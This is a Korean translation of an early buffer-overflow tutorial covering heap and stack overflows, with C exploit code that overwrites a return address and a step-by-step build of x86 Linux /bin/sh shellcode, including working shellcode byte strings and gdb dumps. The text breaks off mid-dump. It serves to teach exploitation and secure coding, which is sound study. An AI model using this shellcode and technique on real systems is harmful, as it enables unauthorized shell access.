Buffer Overflow의 소개 - (Ghost_Rider9@hotmail.com) 번역자 : Saintlinu@hotmail.com 출 처 : http://www.subterrain.net/~jbl/overflow-papers/buffer.txt ----- Intro ----- 이 부분은 단순히 작성자가 하고 싶은 말을 적어 놓은 것이라 번역을 생략하였습니다 BOF를 하려면 C, ASM, GDB등을 알아야 한다는 당부이며 이 글이 모든걸 말하지 않는다 는 예기를 작성자가 하고 싶답니다 ^^/ 번역자의 편의를 위해 아래의 글 부터는 그냥 존칭은 생략하겠습니다. 그럼 즐핵을 바라며 Exploit? -------- 아마 대부분의 사람이 exploit이 뭔지 알 것이다. 그러나 당신은 보안분야에 들어가기 위한 적절한 exploit에 대한 아이디어를 가지고 있지않고 여전히 보고 있다. 그래서 내가 작은 섹션을 작성했다. 일반적으로 C로 작성된 exploit프로그램은 다른 프로그램이 가지고 있는 문제를 exploit한다. Exploit은 시스템상의 일반적인 상태에서 실행하지 않아야 할 것을 몇 가지 할 수 있도록 하는 임의의 코드를 실행할 수 있도록 허락 할 것이다. 요즘은, 대부분의 exploit들은 우리가 BOF exploit이라 부른다. 당신이 묻고 싶은 것이 무엇인가? 기다려라, 잠시 후에 알게 될 것이다. 이 자료의 주제가 바로 그것이다. 당신이 알아야 하는 다른 일은 모든 사람이 어떻게 exploit을 사용하는지 아는 것이다 ( 대부분의 웹사이트가 손상되어진 것에 대해서 어떻게 생각하는가?), script kiddies는 security focus, packetstorm, 또는 fyodor's exploit world 같은 site를 가서 download받고, 실행시킨다, 그리고 체포 되어 진다. (역주 : fyodor's exploit world는 nmap(network scanner)의 개발자 홈페이지이다.) 그러나 왜 모든 사람들은 exploits을 작성하지 않을까? 음, 문제는 많은 사람들이 소스코드 내의 몇 가지 취약점을 어떻게 발견하는지 알지 못하거나 또는 비록 안다 해도 exploit을 작성하지 못한다. 자 이제 당신은 exploit이 무엇인지를 안다. BOF 섹션으로 가자 ^^/ BOF란 결국 무엇인가? ------------------------------------- 내가 앞서 말한 것처럼 대부분의 exploit은 BOF exploit들이다. 당신은 아마 지금 생각 중일 것이다. "훔, 이 놈이 ( )소리를 하고 있군, 여전히 BOF가 뭔지 말 안하고 있잖아 --+), 자 그것에 대해서 이야기 하자 BOF 문제는 프로그램이 data를 저장하는 메모리에 기반 되어 진다. 왜냐고, 당신이 묻는다 음 왜냐하면 BOF는 당신이 원하는 어떤 일을 하기위해 메모리에 예상하는 걸 덮어 쓰는 것이다. 이것은 당신이 원하는 어떤 일을 하도록 프로그램에게 시킬 것이다. 음, 지금 생각하는 중이다. "와우 -_-/ 나는 BOF가 어떻게 작업하는지 안다", 그러나 당신은 여전히 BOF가 어떻게 발견하는지는 알지 못한다. 프로그램을 보면서, 찾아보고, BOF를 고쳐 보자 ------아래는 부분적인 코드----- main(int argc, char **argv) { char *somevar; char *important; somevar = (char *)malloc(sizeof(char)*4); important = (char *)malloc(sizeof(char)*14); strcpy(important, "command"); /* important 변수 중 하나이다 */ stcrpy(somevar, argv[1]); - 일반적인 프로그램 코드가 위치하는 곳 } - 다른 함수들이 위치하는 곳 ------- 부분적인 코드의 끝 ------ 자 important변수는 "chmod o-r file" 같은 몇 몇의 system 명령어를 저장하는 변수이다, 소유주가 root인 파일은 실행 중에 역시 root권한이다, 이 말은 당신이 명령어를 보낼 수 있다면 당신은 어떤 system명령어를 실행 할 수 있다. 당신은 생각중이다. 어떻게 마음대로 내가 원하는 important 변수에 어떤 것을 넣을 수가 있지? 방법은 그것에 도달할 수 있도록 메모리를 overflow시키는 것이다. 변수들의 메모리 주소를 보자. 주소를 보는 것은 당신이 코드를 다시 쓰기 위해 필요하다. 다음의 코드를 확인하자 ---------부분적인 코드 ----------- main (int argc, char **argv) { char *somevar; char *important; somevar=(char *)malloc(sizeof(char)*4); important=(char *)malloc(sizeof(char)*14); printf("%p\n%p", somevar, important); exit(0); /* 나머지 코드는 여기에 ^^/ */ } --------- End of Partial Code -------- 소스코드에 2줄을 추가하고, 나머지 코드는 수정하지 않고 남겨뒀다. 2줄이 무엇을 하는지 보자. printf("%p\n%p", somevar, important);은 somevar와 important변수의 메모리주소를 출력한다. 당신의 목적은 변수들이 어디에 저장되어 있는지 아는 것이다. 프로그램 실행후에 당신은 다음과 같은 출력을 볼 수 있을 것이다, 아마도 같은 메모리 주소는 아닐 것이다. 0x8049700 <----- /* somevar의 주소 */ 0x8049710 <----- /* important의 주소 */ 우리는 볼 수 있다, important변수가 somevar다음에 위치한다. 이것으로 우리는 BOF 기술을 사용할 수 있을 것이다 왜냐하면 somevar는 argv[1]입력으로 부터 가지기 때문이다. 이제, 우리는 하나가 다른 곳으로 간다는 걸 안다. 그러나 각 메모리를 확인해야 한다 그래서 우리는 데이터 저장의 정확한 개념을 가지고 있다. 이 코드를 다시 써 보자 -------- Partial code --------- main(int argc, char **argv) { char *somevar; char *important; char *temp; /* 다른 변수가 필요할 것이다.*/ somevar=(char *)malloc(sizeof(char)*4); important=(char *)malloc(sizeof(char)*14); strcpy(important, "command"); /*This one is the important variable*/ strcpy(somevar, argv[1]); printf("%p\n%p\n", somevar, important); printf("Starting To Print memory address:\n"); temp = somevar; /* 이것은 우리가 원하는 메모리 주소 처음을 temp에 설정할 것이다.*/ while(temp < important + 14) { /* 이 루프는 우리가 원하는 마지막 메모리 주소를 얻었을 때 중지 될 것이다, important 변수의 마지막 주소 */ printf("%p: %c (0x%x)\n", temp, *temp, *(unsigned int*)temp); temp++; } exit(0); /* 나머지 코드는 여기에 */ } ------ End Of partial Code ------ Argv[1]은 'send'문자열을 사용해 정상적이게 해야 한다 (argv[1]이 없으면 segmentation fault가 발생한다) 그래서 당신의 prompt에서 타이핑 한다. $ program_name send 다음처럼 결과가 나올 것이다: 0x8049700 0x8049710 Starting To Print memory address: 0x8049700: s (0x616c62) 0x8049701: e (0x616c) 0x8049702: n (0x61) <---- /* 각 라인은 메모리의 주소를 나타낸다 */ 0x8049703: d (0x0) 0x8049704: (0x0) 0x8049705: (0x0) 0x8049706: (0x0) 0x8049707: (0x0) 0x8049708: (0x0) 0x8049709: (0x19000000) 0x804970a: (0x190000) 0x804970b: (0x1900) 0x804970c: (0x19) 0x804970d: (0x63000000) 0x804970e: (0x6f630000) 0x804970f: (0x6d6f6300) 0x8049710: c (0x6d6d6f63) 0x8049711: o (0x616d6d6f) 0x8049712: m (0x6e616d6d) 0x8049713: m (0x646e616d) 0x8049714: a (0x646e61) 0x8049715: n (0x646e) 0x8049716: d (0x64) 0x8049717: (0x0) 0x8049718: (0x0) 0x8049719: (0x0) 0x804971a: (0x0) 0x804971b: (0x0) 0x804971c: (0x0) 0x804971d: (0x0) $ 괜찮지 않나? somevar과 important 변수 사이에 12개의 메모리 주소가 비어있는 것이 존재하는 것을 볼 수 있다. 다음 처럼 프로그램을 실행할 수 있다 : $ program_name send------------newcommand 다음처럼 결과가 나올 것이다: 0x8049700 0x8049710 Starting To Print memory address: 0x8049700: s (0x646e6573) 0x8049701: e (0x2d646e65) 0x8049702: n (0x2d2d646e) 0x8049703: d (0x2d2d2d64) 0x8049704: - (0x2d2d2d2d) 0x8049705: - (0x2d2d2d2d) 0x8049706: - (0x2d2d2d2d) 0x8049707: - (0x2d2d2d2d) 0x8049708: - (0x2d2d2d2d) 0x8049709: - (0x2d2d2d2d) 0x804970a: - (0x2d2d2d2d) 0x804970b: - (0x2d2d2d2d) 0x804970c: - (0x2d2d2d2d) 0x804970d: - (0x6e2d2d2d) 0x804970e: - (0x656e2d2d) 0x804970f: - (0x77656e2d) 0x8049710: n (0x6377656e) <--- /* important 변수의 메모리 시작 주소 */ 0x8049711: e (0x6f637765) 0x8049712: w (0x6d6f6377) 0x8049713: c (0x6d6d6f63) 0x8049714: o (0x616d6d6f) 0x8049715: m (0x6e616d6d) 0x8049716: m (0x646e616d) 0x8049717: a (0x646e61) 0x8049718: n (0x646e) 0x8049719: d (0x64) 0x804971a: (0x0) 0x804971b: (0x0) 0x804971c: (0x0) 0x804971d: (0x0) 오호, newcommand가 command를 덮었다. 지금 당신이 원하는 무엇인가를 실행 했다. 프로그램 작성자가 기대했던 것 대신에 말이다. 주석 : 때때로 somevar와 important 변수 사이의 공간은 비어있는 것 대신에 다른 변수가 들어갈 수도 있다, 그래서 그들의 값을 확인하고, 일치하는 주소에 보내라, 아니면 당신이 수정했던 변수를 얻기 전에 프로그램이 crash될 수 있다. 이제 조금 생각해보자. 왜 이게 일어나는 거지? 소스코드의 somevar를 보면 important 변수 전에 선언되어 있다, 이것은 만들 것이다, 항상, somevar가 메모리 처음에 존재 할 것이다. 자 얻어진 somevar의 각각을 확인 해 보자. Somevar는 argv[1]에 의해 값이 구해진다, 그리고 important는 strcpy() 함수에 의해 구해진다, 그러나 진짜 문제는 somevar변수에 값을 당신이 할당하기 전에 먼저 important값이 할당되어 지는 것이다. Important는 덮어 씌어질 수 있다. 이 프로그램은 이 BOF에 대항해서 2줄을 적당히 바꿈으로써 패치 되어 질 수 있다 : strcpy(somevar, argv[1]); strcpy(important, "command"); 만약 이 방법으로 프로그램을 실행 시켰다면, 비록 당신이 argv[1]을 important의 메모리 주소에 줄 수 있다고 해도 진짜 command에 의해 다시 덮어 씌어질 것이다, somevar값을 얻은 후에 important값이 할당되어지기 때문이다. 이것은 BOF의 종류 중 Heap BOF이다. 당신이 보아 온 것처럼 이론 상으로는 정말 쉽다 그러나, 실제 세상에서는, 그것을 행하기가 쉽지 않다, 결국 내가 제시한 예제는 진짜 멍청한(-_-;) 프로그램이다. 알겠는가? important변수를 찾는 것은 정말 고역이다. 그리고 하위 메모리 주소에 당신이 필요로 하는 것을 작성할 수 있도록 변수를 overflow 시키는 것 또한 힘들다, 대부분 이 조건을 모두 가질 수 없다, 이제 Stack BOF에 대해서 이야기 할 것이다. - 약간의 note: --; -------------------------- 지난 장에서 나는 heap과 stack에 대해서 이야기 했다 ^^/ 당신은 아마 각각에 대해서 궁금할 것이다. 여기에 간단하게 그리고 이해하기 쉽게 각각을 정의 하였다. Heap (hip이 아니다 --+) 은 변수를 위해 예약되어진 공간이다. ( 당신이 malloc()함수를 사용할 때 heap을 사용 한다) Stack - 함수로부터 입력되는 값, 리턴 되어지는 값, main()함수 내에 선언된/안된 변수 등을 저장하는 장소 Stack을 BOF 시도할 때 당신은 return주소를 바꾸기, 당신이 원하는 실행을 하기 위한 명령어가 놓여진 메모리 내의 어떤 장소로 점프하는 코드를 만들어 시도 할 것이다. 자 스택 stuff 안을 보자, 여기가 나에게 주어진 문제이며 여전히 주고 있는 문제의 시작이다. 여기는 우리가 gdb를 사용해 조절하기 위해 ASM을 아는 것이 필요할 것이다 (나를 믿어라, 이것은 당신의 가장 좋은 친구와 시작을 하는 것이다), 여전히 포기하지 마라. 우리는 return주소(RET)를 변화시키기 위해 공격의 일종을 구성하고있는 Smashing the Stack에 대해 이야기 할 것이다. 이것은 당신이 실행되어지기 원하는 몇몇의 명령어들이 이미 할당 되어진 함수의 주소에 돌아갈 수 있게 한다. Heap BOF처럼, 몇 개의 소스코드를 보자 ------ Code starts here ------ /* Stack Overflow example */ exploit(char *this) { char string[20]; strcpy(string,this); printf("%s\n", string); } main(int argc, char *argv[]) { exploit(argv[1]); } ------ Code ends here ----- 지금 우리는 exploit()을 두 번 호출할 것이다. 이것을 어떻게 할까? 음. 처음으로 우리는 어떤 정밀한 주소들을 찾아야 한다. 이번에는 gdb를 사용할 것이다. 첫번째로 우리는 컴파일한다. $ gcc stack.c -o stack $ gdb stack GNU gdb 4.18 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i586-suse-linux-gnu"... (gdb) 이것은 당신의 prompt이다, 이제 우리는 main을 disassemble할 것이다. 그냥 disassemble main라고 쳐주면 된다 (또는 disas라고 할 수 있다) 어렵지 않지? (gdb) disas main Dump of assembler code for function main: 0x8048440
: push %ebp 0x8048441 : mov %esp,%ebp 0x8048443 : mov 0xc(%ebp),%eax 0x8048446 : add $0x4,%eax 0x8048449 : mov (%eax),%edx 0x804844b : push %edx 0x804844c : call 0x8048410 0x8048451 : add $0x4,%esp 0x8048454 : mov %ebp,%esp 0x8048456 : pop %ebp 0x8048457 : ret (Some NOPS here. They stand for No Operation...meaning nothing is done). End of assembler dump. 몇 가지 생각해보자 ------------- Exploit을 보면 0x804845c에서 호출되었다. 그리고 이것 자체가 의 주소 0x8048410를 가지고 있다. gdb로 돌아가서 ----------- (gdb) disas exploit End of assembler dump. (gdb) 0x8048410 : push %ebp 0x8048411 : mov %esp,%ebp 0x8048413 : sub $0x14,%esp 0x8048416 : mov 0x8(%ebp),%eax 0x8048419 : push %eax 0x804841a : lea 0xffffffec(%ebp),%eax 0x804841d : push %eax 0x804841e : call 0x8048340 0x8048423 : add $0x8,%esp 0x8048426 : lea 0xffffffec(%ebp),%eax 0x8048429 : push %eax 0x804842a : push $0x80484bc 0x804842f : call 0x8048330 0x8048434 : add $0x8,%esp 0x8048437 : mov %ebp,%esp 0x8048439 : pop %ebp 0x804843a : ret (gdb) x/3bc 0x80484bc 0x80484bc <_IO_stdin_used+4>: 37 '%' 115 's' 10 '\n' (gdb) (gdb) quit $ prompt로 돌아가서 Stack BOF과 상관없는 stage -------------------------------- 당신은 x/3bc 명령이 무엇인지 궁금할 것이다. 이것은 우리가 메모리를 조사하게 하는 명령이다. x/3bc ^^^ |||--- chars || --- Binary |----- define 3 as range 더 많은 정보는 gdb prompt에서 help x/하면 된다 나는 스택의 0x80484cc에 넣어진 것이 궁금했다. 그리고 보는 것과 같이 우리가 출력 되기 원하는 문자열이 있다. 우리의 목표 -------- 우리의 목표는 exploit함수가 main으로 돌아가는 것 대신에 다시 exploit함수로 return 시키는 것이다. 어떻게 우리가 이것을 할 수 있을까? 그리고 할 수 있다면 어떻게 알 수 있을까? 처음 우리가 아마도 코드를 exploit할 수 있다는 신호는 segmentation fault이다. 엄청난 문자열을 주면 우리는 가질 것이다. 정말 거대하지는 않고 아마 aaaaaaaaaaaaaaaaaaaa 일 것이다.스스로 확인해보라 우리는 RET을 변경시키기 위해 gdb에서 보았던 줄을 지금 생각할 필요가 있다. 0x804844c : call 0x8048410 질문. 2개의 주소를 가지고 있는 이 중요한 줄에서 어느것을 사용하나? 이것은 쉽다. 0x804844c을 사용하는 것이 필요하다. 왜냐하면 이것은 exploit을 호출하는 설명이다. 만약 0x8048410을 사용한다면 우리는 아무것도 얻지 못할 것이다. 왜냐하면 아래를 가리키고 있기 때문이다. 0x8048410 : push %ebp ------ Code Starts Here ----- /* Exploit for stack program */ #include main() { char buf[28]; int i; for(i=0; i<24; i+=4) *(long *)&buf[i] = 0x61616161; *(long *)&buf[24] = 0x0804844c; *(long *)&buf[28] = 0x0; execv("./stack2", buf); } ------- Code ends Here -------- 우리는 exploit을 다시 호출하기 위해 함수를 되돌리려 리턴 주소를 0x0804844c로 다시 작성 할 것이다. 이것은 우리를 무한루프 상태로 만들 것이다. (역주 : 2번 밖에 실행 되지 않는다) 왜 우리는 이 프로그램을 exploit할 수 있는가? 우리가 주는 문자열의 길이를 확인하는 것이 없기 때문이다. 만약 당신의 코드가 안전하기 될 필요가 있다면 항상 길이를 확인하는 함수를 사용하라 gets(), strcpy() 대신 fgets(), strncpy()등을 말이다. gdb tip ------- 취약한 프로그램에게 exploit이 어떻게 영향을 주는지 보기를 원할 것이다. Gdb에 들어가 다음과 같이 작성하라. (gdb) exec exploit (gdb) symbol-file vulnerable_program Exploit되는 것을 볼 수 있다. 그리고 당신이 어떤 무엇이 있는 문제를 정확히 볼 수 있다. 마지막 제안 ----------------- 마지막에 도달했다. 이것이 도움이 되었기를 바란다. 나는 이 자료 안에 몇 가지 업그래이드하고자 하는 마음이 있다, 왜냐하면 내가 말하고자 하는 모든 것이 있지 않기 때문이다. 그러나 내가 말하고자 하는 모든 것을 더욱 확인하고자 생각한다. 100% 확실하지 않은 어떤 것을 말하는 대신 말이다. 이 문서에서 맞지 않는 것을 발견하거나, 동의 하지 않는 다면 나에게 보고서를 보내 달라. 다음의 메일로 말이다. 읽기를 제안한다. ---------------- - Omega Project by Lamagra (BOF의 다양한 상황을 제시) - Advanced buffer overflow exploit by Taeho Oh (자랑스런 대한민국 BOF의 대가) - Smashing The Stack For Fun And Profit by Aleph One (BOF를 공부하는 사람의 필독서) 이 3개의 문서는 당신이 필요한 엄청난 정보를 줄 수 있을 것이다. 그들은 나를 도와 주었다. packetstorm에서 발견 할 수 있다. ---------------- 첨부 A : 쉘 코드 ---------------- /* 사실 이 부분은 http://null@root.org/willy 에 (물론 http://khdp.org에도 있습니다) willy님이 작성하신 아주 좋은 자료가 있습니다. 한번 보시기를 강력히 권합니다 */ This appendix was written for a friend, Predator, which i gratefully thank for his efforts. Original text is below. Regards mailto:predator@beotel.yu ICQ#: 46043882 I wrote this as part of Ghost Rider buffer overflow tutorial which you can download at http://blacksun.box.sk Author: predator mailto: preedator@hotmail.com date : 26/07/2000 Shell code 이제 나는 쉘 코드에 대해 이야기 할 것이다. 쉘 코드는 쉘을 띄울 때 사용하는 기계어 명령어로 구성되어있는 문자 배열이다. 우리가 exploit 하기 위해 시도하는 프로그램은 쉘을 실행하지 않기 때문에 우리는 반드시 이것을 써야 한다. 여기서, 당신은 반드시 약간의 어셈블리, C, x86구조를 알아야 한다, Linux 역시 알아야 한다. 그러나 C와 어셈블리는 정말 필요하다. 자 시작하자 ^^/ 1. 쉘 코드 ---------- 일반적으로 쉘 코드는 다음의 프로그램처럼 쓰여 진다. 1) char c0de[]={0x90,0x90...}; 2) char c0de[]="\x90\x90..."; 둘은 둘 다 사용할 수 있는 올바른 것이다. 2. 쉘 코드의 시작 ------------------ ------- shell.cpp Code Starts Here ---------- void main(){ char *sh[2]; sh[0]="/bin/sh"; sh[1]=NULL; execve(sh[0],sh,NULL); } ------- shell.cpp Code Ends Here ---------- /* 굳이 c++로 한 이유를 알 수는 없지만 c를 사용해도 된다 */ 이 프로그램은 쉘을 실행한다. 왜 많은 exec 함수 중에 execve() 인가? 그 답은 오직 execve 만이 "int $0x80을 호출하기 때문이며 우리에게 아주 중요한 것이다. -static 옵션과 함께 컴파일 하자, 그리고 gdb를 실행하라. root@scorpion#cc shell.cpp -o shell -static root@scorpion#gdb shell GNU gdb 4.18 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i686-pc-linux-gnu"... (gdb) disass main Dump of assembler code for function main: 0x80481c0
: push %ebp 0x80481c1 : mov %esp,%ebp 0x80481c3 : sub $0x8,%esp 0x80481c6 : movl $0x8073768,0xfffffff8(%ebp) 0x80481cd : movl $0x0,0xfffffffc(%ebp) 0x80481d4 : push $0x0 0x80481d6 : lea 0xfffffff8(%ebp),%eax 0x80481d9 : push %eax 0x80481da : mov 0xfffffff8(%ebp),%eax 0x80481dd : push %eax 0x80481de : call 0x804ea70 <__execve> 0x80481e3 : add $0xc,%esp 0x80481e6 : xor %eax,%eax 0x80481e8 : jmp 0x80481f0 0x80481ea : lea 0x0(%esi),%esi 0x80481f0 : mov %ebp,%esp 0x80481f2 : pop %ebp 0x80481f3 : ret 0x80481f4 : nop 0x80481f5 : nop 0x80481f6 : nop 0x80481f7 : nop 0x80481f8 : nop 0x80481f9 : nop 0x80481fa : nop 0x80481fb : nop 0x80481fc : nop 0x80481fd : nop 0x80481fe : nop 0x80481ff : nop End of assembler dump. (gdb) disass execve Dump of assembler code for function __execve: 0x804ea70 <__execve>: push %ebx 0x804ea71 <__execve+1>: mov 0x10(%esp,1),%edx 0x804ea75 <__execve+5>: mov 0xc(%esp,1),%ecx 0x804ea79 <__execve+9>: mov 0x8(%esp,1),%ebx 0x804ea7d <__execve+13>: mov $0xb,%eax 0x804ea82 <__execve+18>: int $0x80 0x804ea84 <__execve+20>: pop %ebx 0x804ea85 <__execve+21>: cmp $0xfffff001,%eax 0x804ea8a <__execve+26>: jae 0x804ee40 <__syscall_error> 0x804ea90 <__execve+32>: ret End of assembler dump. (gdb) quit 메인을 보자, 모든 함수의 시작은 그곳에서부터 시작 한다. main -> push %ebp main+1 ->movl %esp,%ebp 이것은 모든 함수의 표준 절차이다. %ebp(stack base pointer)를 저장하고 현재의 esp (Stack Pointer)와 같게 한다. main+3 -> sub $0x8,%esp %esp에 0x8만큼 뺀다(stack은 큰 곳에서 작은 곳으로 자란다) 왜냐하면 2개의 char형 pointer는 8바이트이다 (2 * 4 = 8; 0ops 왠 산수지 --+) main+6 -> movl 0x8073768,0xfffffff8(%ebp) '/bin/sh'를 sh[0]에 저장한다. main+13 -> movl $0x0,0xfffffffc(%ebp) NULL 을 sh[1]에 저장한다. main+20 -> pushl $0x0 여기는 execve()함수의 호출을 시작하는 곳이다. 우리는 함수의 인자들을 반대로 입력 한다. 스택의 순서(x86 구조는 위에서 아래로 작업한다) main+22 -> lea 0xfffffff8(%ebp),%eax lea는 기대하는 주소를 적재한다. 우리는 pointer배열에 있는 'sh'의 주소를 적재한다 main+25 -> pushl %eax 우리는 스택에 2번째 인자인 'sh' 주소가 담긴 eax를 넣는다 main+26 -> movl 0xfffffff8(%ebp),%eax ... 0xfffffff8(%ebp) 안에'/bin/sh'의 주소를 가지고 있다 자 이제 execve() 함수를 보자. __execve+1 mov 0x10(%esp,1),%edx 우리는 반드시 NULL을 가지고 있는 세 번째 인자인 edx의 주소를 가져야 한다. __execve+5 mov 0xc(%esp,1),%ecx 우리는 반드시 'sh'문자열을 가지고 있는 두 번째 인자인 ecx의 주소를 가져야 한다. __execve+9 mov 0x8(%esp,1),%ebx 우리는 반드시 '/bin/sh' 문자열을 가지고 있는 첫 번째 인자인 ebx의 주소를 가져야 한다. __execve+13 mov $0xb,%eax 0xb는 execve()함수의 시스템 호출 번호이다 (역주: 이건 운영체제마다 정의 되어 있다) __execve+18 int $0x80 시스템 호출 후 int $0x80은 커널 모드로 전환한다. 저것 들이 하는 일 ( --; ) %edx안에는 NULL의 주소가 있다. %ecx안에는 'sh'문자열이 있는 주소가 있다. %ebx안에는 '/bin/sh' 문자열이 있는 주소가 있다. %eax안에는 시스템 호출번호 0xb가 있다. int $0x80를 호출하여 커널모드로 전환 시킨다. 음 우리는 우리의 '/bin/sh'문자열이 있는 메모리의 정확한 주소가 필요하다. 우리는 스택상의 EIP를 넣은 후 쉽게'/bin/sh'를 넣을 수 있다, 그리고 넣어진 EIP는 우리의 문자열 주소일 것이다. [JaaaaaaaaaaaaaaaaaaaaaaaaaCsssssss] |^_______________________^| |_________________________| 코드의 시작에서, 우리는 JMP 명령어를 넣고, Call이 있는 곳으로 이동한다, 그리고 Call은 EIP(다음의 명령어를 저장하는 레지스터 - 즉 s[/bin/sh]부분을 가리킨다)를 저장하고 다시 a가 위치한 곳을 호출한다. a 부분은 쉘코드가 있다. J 부분은 JMP 명령어가 있다. C 부분은 CALL 명령어가 있다. s 부분은 '/bin/sh'문자열이 있다 이제 어셈코드로 써 보자. ------------ shell1.cpp Code Starts Here ---------------- void main(){ __asm__("jmp 0x1e \n" // call로 이동 "popl %esi \n" esi에 저장된 EIP를 가진다, 우리는 /bin/sh의 주소를 이제 알고 있다. Popl시키면 이전에 있던 call 이전으로 돌아가기 위한 return주소를 가지고 있기 때문에 이것이 가능한 것이다. "movl %esi,0x8(%esi) \n" / '/bin/sh' 뒤에 sh의 주소를 삽입 "movl $0x0,0xc(%esi) \n" // sh 주소뒤에 3번째 인자인 NULL "movb $0x0,0x7(%esi) \n" // 문자열 마지막에 NULL로 처리 "movl %esi,%ebx \n" // sh[0]의 주소를 %ebx에 삽입 "leal %0x8(%esi),%ecx \n" // 'sh'의 주소를 %ecx에 삽입(2번째 인자) "leal %0xc(%esi),%edx \n" // NULL의 주소를 %edx에 삽입(3번째 인자) "movl $0xb,%eax \n" // execve()함수의 시스템 호출번호를 %eax에 삽입 " int $0x80 \n" // 커널 모드로 전환 " call -0x23 \n" // popl %esi를 호출 " .string \"/bin/sh\" \n"); // 우리가 실행할 sh의 문자열 } ------------ shell1.cpp Code Ends Here ---------------- 컴파일 해보자 root@scorpion#cc shel1.cpp -o shell1 root@scorpion#gdb shell1 GNU gdb 4.18 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i686-pc-linux-gnu"... (gdb) x/bx main+3 <------- jmp는 여기서부터 시작 0x8048733 : 0xeb (gdb) 0x8048734 : 0x1e (gdb) 0x8048735 : 0x5e (gdb) 0x8048736 : 0x89 (gdb) 0x8048737 : 0x76 (gdb) 0x8048738 : 0x08 (gdb) 0x8048739 : 0xc6 (gdb) 0x804873a : 0x46 (gdb) 0x804873b : 0x07 (gdb) 0x804873c : 0x00 (gdb) 0x804873d : 0xc7 (gdb) 0x804873e : 0x46 (gdb) 0x804873f : 0x0c (gdb) 0x8048740 : 0x00 (gdb) 0x8048741 : 0x00 (gdb) 0x8048742 : 0x00 (gdb) 0x8048743 : 0x00 (gdb) 0x8048744 : 0x89 (gdb) 0x8048745 : 0xf3 (gdb) 0x8048746 : 0x8d (gdb) 0x8048747 : 0x4e (gdb) 0x8048748 : 0x08 (gdb) 0x8048749 : 0x8d (gdb) 0x804874a : 0x56 (gdb) 0x804874b : 0x0c (gdb) 0x804874c : 0xb8 (gdb) 0x804874d : 0x0b (gdb) 0x804874e : 0x00 (gdb) 0x804874f : 0x00 (gdb) 0x8048750 : 0x00 (gdb) 0x8048751 : 0xcd (gdb) 0x8048752 : 0x80 (gdb) 0x8048753 : 0xe8 (gdb) 0x8048754 : 0xdd (gdb) 0x8048755 : 0xff (gdb) 0x8048756 : 0xff (gdb) 0x8048757 : 0xff (gdb) 0x8048758 : 0x2f (gdb) 0x8048759 : 0x62 (gdb) 0x804875a : 0x69 (gdb) 0x804875b : 0x6e (gdb) 0x804875c : 0x2f (gdb) 0x804875d : 0x73 (gdb) 0x804875e : 0x68 <--------- 코드의 끝 (gdb)quit 역자주) 보통 쉘 코드를 뽑을때 저의 경우는 objdump를 많이 이용합니다. 여기선 그냥 한 줄씩 뽑아서 보여주고 있지만 실제로는 한 명령어씩 뽑을 수도 있으며 길이를 주 어 출력하는 것도 가능합니다 쉘 코드를 작성해 보자 --------------- shell2.cpp Code Starts Here ------------------ char c0de[]= "\xeb\x1e\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00" "\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb8\x0b\x00\x00\x00" "\xcd\x80\xe8\xdd\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"; int main(){ char buf[5]; long *ret=(long *)(buf+12); // gcc version 2.95이하에서 작성된 것으로 보인다. *ret=(long)c0de; } --------------- shell2.cpp Code Ends Here ------------------ root@scorpion#cc shell2.cpp -o shell2 root@scorpion#./shell2 sh-2.03 "\x2f\x62\x69\x6e\x2f\x73\x68"부분은 우리가 /bin/sh 라고 작성한 것과 같다. (코드의 마지막 부분이다) 쉘 코드를 보면.. \x00 또는 \x0이 위치해 있다. 알고 있듯이 '\0'은 문자열의 끝이다. Strcpy나 다른 문자열 함수는 '\0'을 찾을 때까지 복사한다. 그리고 우리의 쉘 코드가 모두 복사되어 지지 않을 것이다 ( 오호라 통제라 --+) '\0'을 제거해 보자. 이것을 이렇게 ----------------------------------------------------- xorl %eax,%eax // 새로 추가된 부분 movb $0x0,0x7(%esi) movb %al,0x7(%esi) movl $0x0,0xc(%esi) movl %eax,0xc(%esi) movl $0xb,$eax movb %0xb,%al ----------------------------------------------------- 이것을 가지고 이렇게 코드를 바꾸자 --------------- shell3.cpp Code Starts Here --------------- void main(){ __asm__("jmp 0x18 \n" "popl %esi \n" "movl %esi,0x8(%esi) \n" "xorl %eax,%eax \n" "movb %al,0x7(%esi) \n" "movl %eax,0xc(%esi) \n" "movl %esi,%ebx \n" "leal 0x8(%esi),%ecx \n" "leal 0xc(%esi),%edx \n" "movb $0xb,%al \n" "int $0x80 \n" "call -0x1d \n" ".string \"/bin/sh\" \n"); } --------------- shell3.cpp Code Ends Here --------------- 이처럼 컴파일 하라 root@scorpion#cc shell3.cpp -o shell3 root@scorpion#gdb shell3 GNU gdb 4.18 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i686-pc-linux-gnu"... (gdb) x/bx main+3 <---------jmp의 시작 0x80483c3 : 0xeb (gdb) 0x80483c4 : 0x18 (gdb) 0x80483c5 : 0x5e (gdb) 0x80483c6 : 0x89 (gdb) 0x80483c7 : 0x76 (gdb) 0x80483c8 : 0x08 (gdb) 0x80483c9 : 0x31 (gdb) 0x80483ca : 0xc0 (gdb) 0x80483cb : 0x88 (gdb) 0x80483cc : 0x46 (gdb) 0x80483cd : 0x07 (gdb) 0x80483ce : 0x89 (gdb) 0x80483cf : 0x46 (gdb) 0x80483d0 : 0x0c (gdb) 0x80483d1 : 0x89 (gdb) 0x80483d2 : 0xf3 (gdb) 0x80483d3 : 0x8d (gdb) 0x80483d4 : 0x4e (gdb) 0x80483d5 : 0x08 (gdb) 0x80483d6 : 0x8d (gdb) 0x80483d7 : 0x56 (gdb) 0x80483d8 : 0x0c (gdb) 0x80483d9 : 0xb0 (gdb) 0x80483da : 0x0b (gdb) 0x80483db : 0xcd (gdb) 